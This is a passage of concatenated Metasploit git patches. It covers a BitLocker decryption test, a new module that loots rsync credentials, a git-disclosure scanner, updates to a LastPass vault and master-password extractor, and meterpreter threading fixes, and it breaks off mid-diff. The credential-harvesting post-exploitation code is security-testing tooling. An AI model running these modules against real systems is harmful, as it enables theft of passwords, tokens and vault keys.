+000000000000000000000000000000000d0a52656d6f7665206469736b73206f72206f7468657220 +6d656469612eff0d0a4469736b206572726f72ff0d0a507265737320616e79206b657920746f2072 +6573746172740d0a0000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000007878787878787878787878787878787878787878787878787878787878787878 +78787878787878787878787878787878787878787878787878787878787878787878787878787878 +7878787878787878ffffffffffffffffffffffffffffffffffffff001f2c55aa +).delete("\n")].pack("H*") + +fve_header = [%( +2d4656452d46532d3e00020004000400000020040000000000000000100000000000100200000000 +0000c002000000000000700300000000000011020000000098030000010000003000000098030000 +9d741575626b6a448609e461ac9c8b3b42000000008000004dbe2a92b8e4d00118000f000f000100 +000011020000000000200000000000003e0007000200010053004500560045004e00200042004900 +54004c004f0043004b00450052002000300031002f00300039002f0032003000310035000000e000 +020008000100880a7dfcb963ff40a31f67e865794a263018fda4b8e4d001000000206c0000000300 +0100011000007e237a2aefe43ace0d1a3dfe90e4d347500000000500010090de09a4b8e4d0010200 +0000372139682c273872d1af0d7cfae5a85fe856af890c642e5ec4f195580b7fde1c00c1b01b0884 +a432294f09d96531a3bffee92c653c6d8a4f62d7e888500000000500010090de09a4b8e4d0010300 +00000ce9565de838333811caacb594662fddf1fbc7fd4a2792646d918196307b7305083c47ab6f32 +f91b7b0050b98c27a2ad6bf0884306389e15aa771e7cd000020008000100e219e43f2baf3c40a275 +ce93a895876a70799eb2b8e4d001000000025c0000000400010002200000500000000500010090de +09a4b8e4d0010600000013951bd6f84f1ff002c6e1080daf91ebf938b554b9dde6ceaef4a3ccce73 +7fd526ceb00bb39233689942e31dc2f17dcb6e7f5955e880a753ecbe6661500000000500010090de +09a4b8e4d00107000000e2b4c5db81a0d0fc5f1a8f13a2906da7561fce73bc0be872fa450a26aa70 +f00af575ff72e29565bd7e54cc7281f16e28c91664d69d1ac0349817f03a700003000500010090de +09a4b8e4d00108000000a963bb6baad0198476db06ef28cdffbbff46f2bd37e94328fb9610a63db2 +c81a222a402801a43bb83d4c78ac349f8a0c911f8b82f4f74ed801d81911402b29351f8f1fb74135 +928326c12c0c3e92d5ebfcba3a2e865208de579985d7f200020008000100000e3e29fa338c409d4d +edf0a07e3af770b7400a1d1bd1010000000822000000020001004400690073006b00500061007300 +730077006f007200640000005c0000000300010000100000410c97f721e4203936b2da255c94f2d3 +400000000500010060cf7a091d1bd1013f00000034912ac8588851df6a4fc4e116153484c193daab +d02518fa2403fd43eebeeced237fabd4fb3c6b5b8c5829e3500000000500010060cf7a091d1bd101 +40000000490277082603ea9b968cf1b7aa599140bf33bd2580fcf501bf67fdb9ee49fc44c0adf17c +21f7b5435a7a75bec6601b28ce3537d2607bf52207008620000000000000000020fc02009e1b2f8b +5000000005000100a4c7400a1d1bd10141000000db197743fdd35661f8e332c5fcfe93324080dd41 +63a6efbf510e99984d2c42b2b9009efb9653c83c1ff0bad8fa38c0e0e2f791de8a8211af74cf2313 +).delete("\n")].pack("H*") + +recovery_password = '657096-479369-488587-457336-698588-612986-598950-103389' + +fvek_dislocker_format = [%( +0080923550357e1cdd9f0810773a82001fdb332a0e577d90931ea627d2df +355308c32f20e94d434edcf28f64798ee530cc63220bee6277e988e43638 +be9530d70524 +).delete("\n")].pack("H*") + +### +# +# This Test class emulate the header of a bitlocker drive and the fve header +# +### +class BitlockerDrive + def initialize(volume_header, fve_header) + @volume_header = volume_header + @fve_header = fve_header + @offset = 0 + end + + def seek(offset) + @offset = offset + end + + def read(_size) + if @offset == 0 + @volume_header + else + @fve_header + end + end +end + +describe Rex::Parser::BITLOCKER do + Bitlocker = Rex::Parser::BITLOCKER.new(BitlockerDrive.new(volume_header, + fve_header)) + ## + # Decrypt + ## + it "Extract and decrypt recovery key from recovery password" do + result = Bitlocker.fvek_from_recovery_password_dislocker(recovery_password) + result.should eq(fvek_dislocker_format) + end +end From c75e3c8e8442404da8b014756d9ebc1b1c3dfa75 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 20 Nov 2015 12:57:33 -0800 Subject: [PATCH 1277/2172] Initial commit of a post module for looting rsync credentials --- lib/rex/parser/ini.rb | 2 +- modules/post/multi/gather/rsyncd_creds.rb | 85 +++++++++++++++++++++++ 2 files changed, 86 insertions(+), 1 deletion(-) create mode 100644 modules/post/multi/gather/rsyncd_creds.rb diff --git a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index 829f10f32b..63ea6d0244 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -54,7 +54,7 @@ class Ini < Hash # def each_group(&block) self.keys.each { |k| - yield + yield k } end diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb new file mode 100644 index 0000000000..3c8f23165e --- /dev/null +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'UNIX Gather RSYNC Credentials', + 'Description' => %q( + Post Module to obtain credentials saved for RSYNC in various locations + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ], + 'Platform' => %w(bsd linux osx unix), + 'SessionTypes' => %w(shell) + ) + ) + + register_options( + [ + OptBool.new('USER_CONFIGS', [true, 'Get passwords from per-user rsyncd.conf', true]) + ] + ) + end + + def dump_rsync_secrets(config_file) + creds_table = Rex::Ui::Text::Table.new( + 'Header' => "RSYNC credentials from #{config_file}", + 'Indent' => 1, + 'Columns' => %w(Username Password Module) + ) + + # read the rsync configuration file, extracting the 'secrets file' + # directive for any rsync modules (shares) within + rsync_config = Rex::Parser::Ini.new(config_file) + # https://github.com/rapid7/metasploit-framework/issues/6265 + rsync_config.each_key do |rmodule| + # XXX: Ini assumes anything on either side of the = is the key and value, + # including spaces, so we need to fix this + module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }] + next unless (secrets_file = module_config['secrets file']) + read_file(secrets_file).split(/\n/).map do |line| + next if line =~ /^#/ + if /^(?<user>[^:]+):(?<password>.*)$/ =~ line + creds_table << [ user, password, rmodule ] + end + end + end + + return if creds_table.rows.empty? + + print_line("\n" + creds_table.to_s) + + # store all found credentials + path = store_loot( + "rsync.creds", + "text/csv", + session, + creds_table.to_csv, + "rsync_credentials.txt", + "RSYNC credentials") + + vprint_status("RSYNC credentials stored in: #{path}") + end + + def run + # build up a list of rsync configuration files to read, including the + # default location of the daemon config as well as any per-user configuration files + # that may exist (rare) + config_files = Set.new([ '/etc/rsyncd.conf' ]) + config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] + + config_files.map do |config_file| + dump_rsync_secrets(config_file) + end + end +end From a96102c20ad581e0e37cc7e55b20ab018a3084f1 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 20 Nov 2015 13:19:38 -0800 Subject: [PATCH 1278/2172] Minor cleanup --- modules/post/multi/gather/rsyncd_creds.rb | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 3c8f23165e..0c79ccf14a 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Post def dump_rsync_secrets(config_file) creds_table = Rex::Ui::Text::Table.new( 'Header' => "RSYNC credentials from #{config_file}", - 'Indent' => 1, 'Columns' => %w(Username Password Module) ) @@ -57,18 +56,15 @@ class Metasploit3 < Msf::Post return if creds_table.rows.empty? - print_line("\n" + creds_table.to_s) - - # store all found credentials - path = store_loot( + print_line(creds_table.to_s) + store_loot( "rsync.creds", "text/csv", session, creds_table.to_csv, "rsync_credentials.txt", - "RSYNC credentials") - - vprint_status("RSYNC credentials stored in: #{path}") + "RSYNC credentials from #{config_file}" + ) end def run @@ -78,8 +74,6 @@ class Metasploit3 < Msf::Post config_files = Set.new([ '/etc/rsyncd.conf' ]) config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] - config_files.map do |config_file| - dump_rsync_secrets(config_file) - end + config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From 327853ae07da605e007a8e96402799dbd6c358b0 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 20 Nov 2015 13:25:30 -0800 Subject: [PATCH 1279/2172] Remove out of place fix --- lib/rex/parser/ini.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index 63ea6d0244..829f10f32b 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -54,7 +54,7 @@ class Ini < Hash # def each_group(&block) self.keys.each { |k| - yield k + yield } end From aa962f30a9bd3b10f939d87a022b42a79f39d1f4 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 20 Nov 2015 13:51:31 -0800 Subject: [PATCH 1280/2172] Minor style/usability cleanup --- modules/post/multi/gather/rsyncd_creds.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 0c79ccf14a..95220d9f81 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -26,12 +26,13 @@ class Metasploit3 < Msf::Post register_options( [ - OptBool.new('USER_CONFIGS', [true, 'Get passwords from per-user rsyncd.conf', true]) + OptBool.new('USER_CONFIGS', [true, 'Get passwords from each local user\'s rsyncd.conf', true]) ] ) end def dump_rsync_secrets(config_file) + vprint_status("Attempting to get RSYNC creds from #{config_file}") creds_table = Rex::Ui::Text::Table.new( 'Header' => "RSYNC credentials from #{config_file}", 'Columns' => %w(Username Password Module) @@ -69,11 +70,10 @@ class Metasploit3 < Msf::Post def run # build up a list of rsync configuration files to read, including the - # default location of the daemon config as well as any per-user configuration files - # that may exist (rare) + # default location of the daemon config as well as any per-user + # configuration files that may exist (rare) config_files = Set.new([ '/etc/rsyncd.conf' ]) config_files |= enum_user_directories.map { |d| ::File.join(d, 'rsyncd.conf') } if datastore['USER_CONFIGS'] - config_files.map { |config_file| dump_rsync_secrets(config_file) } end end From 07767cd8036b9204870a2b8fa2617e646b0af4c2 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 20 Nov 2015 15:17:15 -0800 Subject: [PATCH 1281/2172] Fix #6265 --- lib/rex/parser/ini.rb | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index 829f10f32b..8dffe5ac1b 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -49,14 +49,7 @@ class Ini < Hash end end - # - # Enumerates the groups hash keys. - # - def each_group(&block) - self.keys.each { |k| - yield - } - end + alias each_group each_key # # Adds a group of the supplied name if it doesn't already exist. From f37adf9ff86c511364c32e0f5847b20d79e0a704 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 20 Nov 2015 15:18:14 -0800 Subject: [PATCH 1282/2172] Add incomplete spec for Rex::Parser::Ini --- spec/lib/rex/parser/ini_spec.rb | 34 +++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 spec/lib/rex/parser/ini_spec.rb diff --git a/spec/lib/rex/parser/ini_spec.rb b/spec/lib/rex/parser/ini_spec.rb new file mode 100644 index 0000000000..bec7827ab0 --- /dev/null +++ b/spec/lib/rex/parser/ini_spec.rb @@ -0,0 +1,34 @@ +require 'rex/parser/ini' + +describe Rex::Parser::Ini do + let(:ini_contents) { <<EOF +# global comment +global settting = blah +[foo] +a = b +[bar] +b = c + +[baf] +c = d +EOF + } + + let(:ini) { described_class.from_s(ini_contents) } + + context "#each_group" do + it "enumerates the groups" do + groups = [] + ini.each_group { |group| groups << group } + groups.should eq(%w(foo bar baf)) + end + end + + context "#each_key" do + it "enumerates the groups" do + groups = [] + ini.each_key.map { |group| groups << group } + groups.should eq(%w(foo bar baf)) + end + end +end From b636aeb3035874cf4d7feffda85e637787c819b9 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 20 Nov 2015 19:38:33 -0600 Subject: [PATCH 1283/2172] rm print_warning --- lib/msf/core/exploit/local.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/local.rb b/lib/msf/core/exploit/local.rb index dcddfa8e04..d9d8f510ab 100644 --- a/lib/msf/core/exploit/local.rb +++ b/lib/msf/core/exploit/local.rb @@ -21,7 +21,6 @@ class Msf::Exploit::Local < Msf::Exploit end def run_simple(opts = {}, &block) - print_warning("test") raise NotImplementedError, ' - This way of running the local exploit is currently not supported.' end end From e0386d6830d652622c6f9d832ab4ae86a301609e Mon Sep 17 00:00:00 2001 From: nixawk <hap.ddup@gmail.com> Date: Sat, 21 Nov 2015 03:06:37 +0000 Subject: [PATCH 1284/2172] add scan switches GIT_INDEX / GIT_HEAD / GIT_CONFIG --- modules/auxiliary/scanner/http/git_scanner.rb | 81 +++++++++++++------ 1 file changed, 57 insertions(+), 24 deletions(-) diff --git a/modules/auxiliary/scanner/http/git_scanner.rb b/modules/auxiliary/scanner/http/git_scanner.rb index 81688d769d..faf6081f12 100644 --- a/modules/auxiliary/scanner/http/git_scanner.rb +++ b/modules/auxiliary/scanner/http/git_scanner.rb @@ -6,7 +6,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer include Msf::Auxiliary::Scanner @@ -25,51 +24,85 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('TARGETURI', [true, 'The test path to .git directory', '/']) - ], self.class) + OptString.new('TARGETURI', [true, 'The test path to .git directory', '/.git/']), + OptBool.new('GIT_INDEX', [true, 'Check index file in .git directory', true]), + OptBool.new('GIT_CONFIG', [false, 'Check config file in .git directory', true]), + OptBool.new('GIT_HEAD', [false, 'Check HEAD file in .git directory', true]) + ] + ) end - def peer - "#{rhost}:#{rport}" - end - - def git_url(url) - normalize_uri(url, '/.git/index') + def req(filename) + send_request_cgi( + 'uri' => normalize_uri(target_uri, filename) + ) end def git_index_parse(resp) return if resp.blank? || resp.length < 12 # A 12-byte header - standard_signature = 'DIRC' signature = resp[0, 4] - return if signature != standard_signature + return unless signature == 'DIRC' - version = resp[4, 8].unpack('N')[0].to_i - entries_number = resp[8, 12].unpack('N')[0].to_i + version = resp[4, 4].unpack('N')[0].to_i + entries_count = resp[8, 4].unpack('N')[0].to_i - return unless version && entries_number - vprint_status("Git Version: #{version} - Entries Number: #{entries_number}") - print_good("#{peer} - Git Entries file found") + return unless version && entries_count + print_good("#{full_uri} (git repo version #{version}) - #{entries_count} files found") report_note( host: rhost, port: rport, proto: 'tcp', type: 'git_disclosure', - data: { version: version, entries_number: entries_number } + data: { full_uri: full_uri, version: version, entries_count: entries_count } ) end - def git_entries(url) - res = send_request_cgi({ - 'uri' => git_url(url) - }) + def git_index + res = req('index') return unless res && res.code == 200 git_index_parse(res.body) end - def run_host(target_host) - vprint_status("#{peer} - scanning git disclosure") + def git_config + res = req('config') + return unless res && res.code == 200 + + if (res.body.include?('core') || res.body.include?('remote') || res.body.include?('branch')) + print_good("#{full_uri} (git disclosure - config file Found") + + report_note( + host: rhost, + port: rport, + proto: 'tcp', + type: 'git_disclosure', + data: { full_uri: full_uri } + ) + end + end + + def git_head + res = req('HEAD') + return unless res && res.code == 200 + + if res.body.include?('ref:') + print_good("#{full_uri} (git disclosure - HEAD file Found") + + report_note( + host: rhost, + port: rport, + proto: 'tcp', + type: 'git_disclosure', + data: { full_uri: full_uri } + ) + end + end + + def run_host(_target_host) + vprint_status("#{full_uri} - scanning git disclosure") vhost = datastore['VHOST'] || wmap_target_host - git_entries(normalize_uri(target_uri.path)) + git_index if datastore['GIT_INDEX'] + git_config if datastore['GIT_CONFIG'] + git_head if datastore['GIT_HEAD'] end end From f34c7a8594683d307fbee739512e07e66c0f54f6 Mon Sep 17 00:00:00 2001 From: Martin Vigo <martinvigo@gmail.com> Date: Fri, 20 Nov 2015 23:42:59 -0800 Subject: [PATCH 1285/2172] Support for new Firefox method to store credentials --- modules/post/multi/gather/lastpass_creds.rb | 64 ++++++++++++--------- 1 file changed, 36 insertions(+), 28 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index e8377feb01..9a6fb32546 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Post super( update_info( info, - 'Name' => 'LastPass Master Password Extractor', + 'Name' => 'LastPass Vault Decryptor', 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords', 'License' => MSF_LICENSE, 'Author' => [ @@ -45,9 +45,6 @@ class Metasploit3 < Msf::Post print_status "Extracting credentials" extract_credentials(account_map) - #print_status "Decrypting local stored key" - #decrypt_local_vault_key(account_map) - print_status "Extracting 2FA tokens" extract_2fa_tokens(account_map) @@ -118,7 +115,7 @@ class Metasploit3 < Msf::Post } localstorage_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", - 'Firefox' => "#{user_profile['LocalAppData']}/LastPass", + 'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass", 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" } @@ -254,28 +251,32 @@ class Metasploit3 < Msf::Post end # Parses the Firefox preferences file and returns encoded credentials - def firefox_credentials(loot_path) + def firefox_credentials(prefs_path, localstorage_db_path) credentials = [] - File.readlines(loot_path).each do |line| + File.readlines(prefs_path).each do |line| if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line usernames = encoded_users.split("|") usernames.each do |username| credentials << [username, nil] end - elsif /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line - creds_per_user = encoded_creds.split("|") - creds_per_user.each do |user_creds| - parts = user_creds.split('=') - for creds in credentials # Check if we have the username already - if creds[0] == parts[0] - creds[1] = parts[1] # Add the password to the existing username - else - credentials << parts if parts.size > 1 # Add full credentials - end - end + break + end + end + + # Extract master passwords + path = localstorage_db_path + client.fs.file.separator + "lp.loginpws" + data = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection + data.blank? ? return : data = Base64.decode64(data) + creds_per_user = data.split("|") + creds_per_user.each do |user_creds| + parts = user_creds.split('=') + for creds in credentials # Check if we have the username already + if creds[0] == parts[0] + creds[1] = parts[1] # Add the password to the existing username + else + credentials << parts if parts.size > 1 # Add full credentials end - else - next end end @@ -321,7 +322,7 @@ class Metasploit3 < Msf::Post ) # Extract usernames and passwords from preference file - ffcreds = firefox_credentials(loot_path) + ffcreds = firefox_credentials(loot_path, paths['localstorage_db'] ) unless ffcreds.blank? ffcreds.each do |creds| if creds[1].blank? # No master password found @@ -416,13 +417,13 @@ class Metasploit3 < Msf::Post lastpass_data_table = Rex::Ui::Text::Table.new( 'Header' => "LastPass Accounts", 'Indent' => 1, - 'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key) + 'Columns' => %w(Account Browser LP_Username LP_Password LP_2FA LP_Key) ) account_map.each_pair do |account, browser_map| browser_map.each_pair do |browser, lp_data| lp_data['lp_creds'].each_pair do |username, user_data| - lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] + lastpass_data_table << [account, browser, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] end end end @@ -459,8 +460,15 @@ class Metasploit3 < Msf::Post nil, "#{account}'s #{browser} LastPass iterations" ) - path = lp_data['localstorage_db'] + client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml" - vault = read_file(path) if client.fs.file.exists?(path) #Read file if it exists + path = client.fs.file.separator + OpenSSL::Digest::SHA256.hexdigest(username) + if client.fs.file.exists?(path + "_lps.act.sxml") + path = path + "_lps.act.sxml" + elsif client.fs.file.exists?(path + "_lps.sxml") + path = path + "_lps.sxml" + else + next # No vault found + end + vault = read_file(path) vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection vault = vault.sub(/iterations=.*;/, "") # Remove iterations info loot_path = store_loot( @@ -526,9 +534,9 @@ class Metasploit3 < Msf::Post decrypt_local_vault_key(account, browser_map) browser_checked = true end - if lp_data['lp_creds'][username]['vault_key'] == nil # If not vault key was found yet, try with dOTP - otpbin = extract_otpbin(account, browser, username, lp_data) - lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) + if lp_data['lp_creds'][username]['vault_key'] == nil # If no vault key was found yet, try with dOTP + ##otpbin = extract_otpbin(account, browser, username, lp_data) + ##lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) end end end From 640a302b78b8288fd3478730cb5fa332552696fd Mon Sep 17 00:00:00 2001 From: Jon Cave <jon@joncave.co.uk> Date: Sat, 15 Aug 2015 14:07:52 +0100 Subject: [PATCH 1286/2172] Switch to a Queue for the dispatcher's packet queue The select() based sleep can be replaced by a blocking pop(). The thread will be suspended until data is pushed onto the queue. --- lib/rex/post/meterpreter/packet_dispatcher.rb | 21 ++++++++++--------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 15a01537e5..0f06eede6d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -253,7 +253,7 @@ module PacketDispatcher self.waiters = [] - @pqueue = [] + @pqueue = ::Queue.new @finish = false @last_recvd = Time.now @ping_sent = false @@ -318,16 +318,12 @@ module PacketDispatcher # Whether we're finished or not is determined by the receiver # thread above. while(not @finish) - if(@pqueue.empty?) - ::IO.select(nil, nil, nil, 0.10) - next - end - incomplete = [] backlog = [] + backlog << @pqueue.pop while(@pqueue.length > 0) - backlog << @pqueue.shift + backlog << @pqueue.pop end # @@ -393,11 +389,16 @@ module PacketDispatcher ::IO.select(nil, nil, nil, 0.10) end - @pqueue.unshift(*incomplete) + while incomplete.length > 0 + @pqueue << incomplete.shift + end if(@pqueue.length > 100) - dlog("Backlog has grown to over 100 in monitor_socket, dropping older packets: #{@pqueue[0 .. 25].map{|x| x.inspect}.join(" - ")}", 'meterpreter', LEV_1) - @pqueue = @pqueue[25 .. 100] + removed = [] + (1..25).each { + removed << @pqueue.pop + } + dlog("Backlog has grown to over 100 in monitor_socket, dropping older packets: #{removed.map{|x| x.inspect}.join(" - ")}", 'meterpreter', LEV_1) end end rescue ::Exception => e From 6509696eb17f77cd2f231d01738535571a4ef4e5 Mon Sep 17 00:00:00 2001 From: Jon Cave <jon@joncave.co.uk> Date: Sat, 15 Aug 2015 14:10:14 +0100 Subject: [PATCH 1287/2172] Switch back to Mutex/CV for response waiters Makes use of the wait() method's timeout parameter instead of using the Timeout class. --- .../meterpreter/packet_response_waiter.rb | 28 +++++++------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/lib/rex/post/meterpreter/packet_response_waiter.rb b/lib/rex/post/meterpreter/packet_response_waiter.rb index 375151405f..6d5a5fd47e 100644 --- a/lib/rex/post/meterpreter/packet_response_waiter.rb +++ b/lib/rex/post/meterpreter/packet_response_waiter.rb @@ -27,7 +27,8 @@ class PacketResponseWaiter self.completion_routine = completion_routine self.completion_param = completion_param else - self.done = false + self.mutex = Mutex.new + self.cond = ConditionVariable.new end end @@ -48,7 +49,9 @@ class PacketResponseWaiter if (self.completion_routine) self.completion_routine.call(response, self.completion_param) else - self.done = true + self.mutex.synchronize { + self.cond.signal + } end end @@ -57,25 +60,14 @@ class PacketResponseWaiter # If the interval is -1 we can wait forever. # def wait(interval) - if( interval and interval == -1 ) - while(not self.done) - ::IO.select(nil, nil, nil, 0.1) - end - else - begin - Timeout.timeout(interval) { - while(not self.done) - ::IO.select(nil, nil, nil, 0.1) - end - } - rescue Timeout::Error - self.response = nil - end - end + interval = nil if interval and interval == -1 + self.mutex.synchronize { + self.cond.wait(self.mutex, interval) + } return self.response end - attr_accessor :rid, :done, :response # :nodoc: + attr_accessor :rid, :mutex, :cond, :response # :nodoc: attr_accessor :completion_routine, :completion_param # :nodoc: end From 12b24feceecda530c979f29dea66758fa449b338 Mon Sep 17 00:00:00 2001 From: Jon Cave <jon@joncave.co.uk> Date: Sat, 15 Aug 2015 14:11:54 +0100 Subject: [PATCH 1288/2172] Return true/false if a waiter was/wasn't notified The method is used as follows: if notify_response_waiter(response) # Proceed as if a waiter was notified end Previously the return value would be `nil` whenever the loop broke early due to a waiter being found. This meant that the dispatcher thread often believed that a packet was not being handled. As a result the backlog == incomplete sleep kicked in unnecessarily. --- lib/rex/post/meterpreter/packet_dispatcher.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 0f06eede6d..cfcd7576fc 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -455,15 +455,16 @@ module PacketDispatcher # if anyone. # def notify_response_waiter(response) + handled = false self.waiters.each() { |waiter| if (waiter.waiting_for?(response)) waiter.notify(response) - remove_response_waiter(waiter) - + handled = true break end } + return handled end # From c03ff13377508a065a8b92b3e810d698402965ea Mon Sep 17 00:00:00 2001 From: Jon Cave <jon@joncave.co.uk> Date: Mon, 16 Nov 2015 18:40:13 +0000 Subject: [PATCH 1289/2172] Don't wait if the response has already been set Fixes a race condition which could leave the waiter sitting indefinitely if notify() is called before wait(). --- .../post/meterpreter/packet_response_waiter.rb | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/lib/rex/post/meterpreter/packet_response_waiter.rb b/lib/rex/post/meterpreter/packet_response_waiter.rb index 6d5a5fd47e..42a2b2038c 100644 --- a/lib/rex/post/meterpreter/packet_response_waiter.rb +++ b/lib/rex/post/meterpreter/packet_response_waiter.rb @@ -44,14 +44,14 @@ class PacketResponseWaiter # Notifies the waiter that the supplied response packet has arrived. # def notify(response) - self.response = response - if (self.completion_routine) + self.response = response self.completion_routine.call(response, self.completion_param) else - self.mutex.synchronize { + self.mutex.synchronize do + self.response = response self.cond.signal - } + end end end @@ -61,9 +61,11 @@ class PacketResponseWaiter # def wait(interval) interval = nil if interval and interval == -1 - self.mutex.synchronize { - self.cond.wait(self.mutex, interval) - } + self.mutex.synchronize do + if self.response.nil? + self.cond.wait(self.mutex, interval) + end + end return self.response end From b9e176cd77e70a2cd9263273281598766c78dc78 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 21 Nov 2015 11:15:00 -0600 Subject: [PATCH 1290/2172] Fix up cell result parsing --- .../meterpreter/extensions/android/android.rb | 57 +++++++++---------- 1 file changed, 28 insertions(+), 29 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index 6de2ecf9b2..931b591708 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -84,8 +84,6 @@ class Android < Extension collections: [] } - p [opts, response] - case COLLECT_TYPES[opts[:type]] when COLLECT_TYPE_WIFI result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level'] @@ -136,38 +134,39 @@ class Android < Extension records = {} response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g| - p ["RESULT", g] timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP) timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S') - active_gsm = g.get_tlv_value(TLV_TYPE_CELL_ACTIVE_GSM) - if active_gsm - cid = get_tlv_value(TLV_TYPE_CELL_CID) - lac = get_tlv_value(TLV_TYPE_CELL_LAC) - psc = get_tlv_value(TLV_TYPE_CELL_PSC) - info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc) - result[:entries] << [timestamp, "GSM: #{info}"] - end + g.each(TLV_TYPE_COLLECT_RESULT_CELL) do |cell| - active_cdma = g.get_tlv_value(TLV_TYPE_CELL_ACTIVE_CDMA) - if active_cdma - bid = get_tlv_value(TLV_TYPE_CELL_BASE_ID) - lat = get_tlv_value(TLV_TYPE_CELL_BASE_LAT) - lng = get_tlv_value(TLV_TYPE_CELL_BASE_LONG) - net = get_tlv_value(TLV_TYPE_CELL_NET_ID) - sys = 